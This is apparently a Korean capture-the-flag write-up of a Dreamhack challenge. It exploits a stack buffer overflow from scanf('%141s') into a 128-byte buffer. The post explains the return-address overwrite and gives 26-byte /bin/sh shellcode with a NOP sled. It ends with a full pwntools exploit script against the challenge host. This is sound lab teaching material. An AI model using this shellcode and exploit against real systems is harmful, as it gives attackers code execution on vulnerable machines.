반응형
문제분석 & 풀이
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
scanf("%141s", buf)
를 보자. 입력 길이를 141 바이트로 제한하고 있지만 buf의 크기는 128 바이트다. 따라서 128 바이트 이상의 데이터를 입력하면 BOF(Buffer Over Flow)
취약점이 발생한다.
BOF 취약점으로 RET을 조작하고 임의의 주소에 있는 코드를 실행할 수 있다.
코드에서 printf("buf = (%p)\n", buf)
로 buf 주소를 출력해준다.
buf에 쉘코드를 삽입하고 RET을 buf 주소로 덮으면 main 함수가 종료될 때, buf 주소로 점프하면서 쉘코드가 실행된다.
공격을 진행하는 payload를 작성해보자.
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" + "\x90" * 106 + [buf 의 주소]
26바이트 쉘코드를 저장하고 RET까지 NOP sled로 채웠다.
마지막으로 RET을 buf 주소로 덮었다.
주의할 점은 26바이트 쉘코드를 사용해야 한다는 점이다.
그 이유는 scanf 함수가 \x09, \x0a, \x0b, \x0c, \x0d, \x20
를 읽지 못하는데, 25byte 쉘코드에는 0xb
가 있기 때문이다. 따라서 26바이트 쉘코드를 사용해야 한다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote('host3.dreamhack.games',21203)
p.recvuntil("(")
buf = int(p.recv(10),16)
p.recvline()
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90"*106
payload += p32(buf)
p.sendline(payload)
p.interactive()
반응형